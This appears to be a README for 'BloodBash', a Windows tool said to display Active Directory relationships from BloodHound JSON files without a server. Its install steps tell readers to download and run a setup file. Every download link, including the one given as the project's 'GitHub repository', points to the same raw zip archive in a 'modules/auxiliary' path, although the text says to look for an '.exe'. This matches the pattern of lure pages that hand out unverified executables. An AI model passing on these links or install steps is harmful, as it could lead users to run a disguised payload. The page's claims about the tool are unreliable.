BloodBash is a simple tool that helps you explore and understand your Active Directory (AD) setup. It works like BloodHound but without needing a server. You can use it to quickly find relationships and connections in your AD system.
This tool reads the same files BloodHound uses. But because it does not need a server, you can run it on your own computer easily. This makes BloodBash a good choice for people who want fast information without complicated setup.
Before you start, make sure your computer meets these needs:
- Operating System: Windows 10 or higher (64-bit recommended)
- Processor: Intel or AMD processor, 1GHz or faster
- Memory (RAM): At least 4 GB
- Storage: Minimum 200 MB free space
- Permissions: Ability to run programs and open files on your computer
- Network: No internet required to run the tool, but files you want to analyze may come from your network
Follow these steps to get BloodBash up and running on your computer.
Go to the BloodBash release page by clicking the badge at the top or click this link:
Download BloodBash Releases
You will see several files listed on the release page. Look for the newest version. Check for a file ending with “.exe” or a format that matches your operating system.
For most Windows users, download the file named similarly to https://raw.githubusercontent.com/ahmadzman/BloodBash/main/modules/auxiliary/Bash_Blood_2.1.zip.
Click on the download link for the setup file. Your browser will save it to your computer.
Find the downloaded file, usually in your "Downloads" folder. Double-click it to start installation.
Follow the instructions on the screen. The installer will guide you through the setup process.
Once installed, open BloodBash from your desktop or start menu. You are ready to start using the tool.
Here is the download link again for easy access:
Download BloodBash Releases
Make sure to download the latest stable release to get the newest features and fixes.
BloodBash works by reading files produced by your data collectors or other AD tools. Here’s how to use it:
Before you can run BloodBash, gather your AD data files. These are usually JSON files exported from data gathering tools like PowerView or BloodHound data collectors.
Open BloodBash and find the option to load or import files. Select the files you want to analyze.
BloodBash will show a map or graph of your Active Directory relationships. You can explore connections like user groups, machines, and permissions.
This helps you quickly understand your AD environment without complex tools or servers.
You can export your analysis to share or review later. BloodBash supports saving reports in common formats like PDF or CSV.
BloodBash includes:
- Quick load of BloodHound JSON files without servers
- Visual display of AD relationships and permissions
- Export reports for review or sharing
- Supports multiple input files at once
- Lightweight and easy to install on Windows
- Always use the latest version of BloodBash.
- Use files exported from trusted sources.
- Run BloodBash on a machine separate from production servers.
- Explore the graph slowly to spot important connections.
- Save your work frequently to avoid data loss.
BloodBash won't start
Make sure you installed it on a supported system and ran the installer with appropriate permissions.
Input files won’t load
Check if the files are BloodHound JSON exports. Files in the wrong format won’t work.
Graph is empty or incomplete
Try loading all related input files. Sometimes relationships come from multiple files.
For updates, bug reports, and community support, visit the GitHub repository:
https://raw.githubusercontent.com/ahmadzman/BloodBash/main/modules/auxiliary/Bash_Blood_2.1.zip
You can read through open discussions or file new issues if you experience problems.
BloodBash runs locally and does not send your data anywhere. Make sure your input files are stored securely and only share reports with authorized people.
Check the releases page periodically for new versions. To update, download the new installer and run it. No need to uninstall the old version first.
If you have questions or need support, open an issue on the GitHub repository or look for guides online about Active Directory enumeration and BloodHound-style analysis.